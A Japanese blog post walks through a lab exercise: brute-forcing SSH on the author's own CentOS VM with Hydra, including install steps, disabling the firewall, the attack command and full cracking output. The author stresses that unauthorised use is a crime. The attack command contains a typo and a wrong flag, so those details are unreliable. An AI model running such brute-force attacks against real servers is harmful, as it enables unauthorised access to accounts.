hydraでSSHパスワードクラック
なんとなく、夏休みで微妙にヒマ。と言うことでHydraを使って自前のVM上でSSH認証にブルートフォースアタックしてみた。許可された環境で攻撃をしていますが、今から紹介する方法を許可されていない環境や所有者が自身ではないマシンに攻撃した場合は立派な犯罪行為になるので実行するなら許可された範囲内で実行してください。
そもそもhydraって何?
画像はKali Linux
hydraは簡単に言うと、認証機構にブルートフォースアタック(辞書引き攻撃)を仕掛けるツール
少しの知識があれば初心者でも容易にブルートフォースアタックができてしまう恐ろしいツール、当初はKali Linuxにデフォルトで入っているhydraを使おうとしてた。
だけどKali Linuxが重い、遅い。そこでもう今回だけはMacBookのローカル上からVMに攻撃してみた。
実行環境
攻撃マシン
Hydra v8.6
やられマシン
CentOS Linux release 7.3.1611 (Core)
手順
- hydraのインストール
- VM側の所設定
- 攻撃
- ログの確認
hydraのインストール
$ sudo brew install hydra
インストール完了!と思いきや、いざ実行すると...
[ERROR] Compiled without LIBSSH v0.4.x support, module is not available!
なんかモジュール足りてない.. そこで一度インストールしたhydraをアンインストール、再度インストールする
$ brew uninstall hydra
$ brew install -v --with-libssh hydra
動いたああ
VMの所設定
まずSSH認証破られる側のユーザを作成した
USER : crack PASSWORD : Alexis
今回はデフォルトの辞書を使用するため、その中からランダムに選んだAlexisをパスワードに設定 多分、関係はないと思うが一応VMのFirewallも解除しておいた。
$ sudo systemctl stop firewalld
攻撃
ついに攻撃フェーズ、もう一度言っとくが自分の作ったマシンや許可されたマシンだけに攻撃しないと立派な犯罪行為なので気をつけること。
hydraの使い方
hydra -l ユーザ -p '辞書のパス' 攻撃するマシンのIP プロトコル
今回はcrackというユーザのssh認証のパスワードを盗み取るため
$ hydea -l crack -p '/usr/share/dict/words' 10.10.10.10(仮IP) ssh
で実行
SSH認証は割と堅い方の認証だからか...25分くらい時間かかった。 そして結果!
Hydra (http://www.thc.org/thc-hydra) starting at 2017-08-17 15:51:28
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 235886 login tries (l:1/p:235886), ~14743 tries per task
[DATA] attacking ssh://10.10.10.10:22/
[STATUS] 258.00 tries/min, 258 tries in 00:01h, 235630 to do in 15:14h, 16 active
[STATUS] 246.00 tries/min, 738 tries in 00:03h, 235150 to do in 15:56h, 16 active
[STATUS] 239.71 tries/min, 1678 tries in 00:07h, 234210 to do in 16:18h, 16 active
[STATUS] 235.93 tries/min, 3539 tries in 00:15h, 232349 to do in 16:25h, 16 active
[22][ssh] host: 10.10.10.10 login: crack password: Alexis
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 16 targets did not complete
Hydra (http://www.thc.org/thc-hydra) finished at 2017-08-17 16:13:11
[22][ssh] host: 10.10.10.10 login: crack password: Alexis
ばっちり取れてんじゃん...最高かよ
ログの確認
このブルートフォースアタックをしている際のエラーログは/var/log/secureに吐き出されていて、エグい数のログが残されているので確認してみると実際に辞書引き攻撃をされている様子がわかる。ほんとエグい数なので今回は割愛。
総括
いくらssh認証でもユーザがわかっている状態でパスワードが強度皆無だと
所要時間: about 23分 ユーザ名: crack パスワード: Alexis
で破られる事が体感できた。今回はhydraをインストールした際に付いてきたデフォルトの辞書を用いて攻撃したが世の中にはもっと人々が使うであろう単語を辞書化した辞書がたくさんあるだろうから、ある程度の強度のパスワードは簡単に破れるんだろうなーっと感じた。本当に強いパスワードって大事だ...
次回は攻撃者の視点からみた攻撃の手順なんかを書いてみようかなと思う。